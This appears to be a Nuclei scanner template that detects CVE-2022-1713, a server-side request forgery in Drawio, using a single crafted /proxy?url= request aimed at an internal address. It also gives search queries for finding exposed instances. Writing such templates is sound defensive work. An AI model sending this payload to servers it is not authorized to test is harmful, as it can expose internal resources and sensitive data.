id: CVE-2022-1713

info:
  name: Drawio <18.0.4 - Server-Side Request Forgery
  author: pikpikcu
  severity: high
  description: |
    Drawio prior to 18.0.4 is vulnerable to server-side request forgery. An attacker can make a request as the server and read its contents. This can lead to a leak of sensitive information.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage.
  remediation: |
    Upgrade Drawio to version 18.0.4 or later to mitigate the SSRF vulnerability.
  reference:
    - https://huntr.dev/bounties/cad3902f-3afb-4ed2-abd0-9f96a248de11
    - https://github.com/jgraph/drawio/commit/283d41ec80ad410d68634245cf56114bc19331ee
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1713
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1713
    cwe-id: CWE-918
    epss-score: 0.08667
    epss-percentile: 0.94432
    cpe: cpe:2.3:a:diagrams:drawio:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: diagrams
    product: drawio
    shodan-query:
      - http.title:"Flowchart Maker"
      - http.title:"flowchart maker"
    fofa-query: title="flowchart maker"
    google-query: intitle:"flowchart maker"
  tags: cve,cve2022,drawio,ssrf,oss,huntr,diagrams,vuln

http:
  - raw:
      - |
        GET /proxy?url=http%3a//0:8080/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Flowchart Maker & Online Diagram Software</title>"

      - type: word
        part: header
        words:
          - "application/octet-stream"
# digest: 4a0a00473045022100dba7a44594fee2989a96464bc47f086f12f1c4a5620a198699113042841d44df02207fca734a5f3fc5db15a2f2fc86fb2c875d8a65f0419a7cc965d0c74ff47fa376:922c64590222798bb761d5b6d8e72950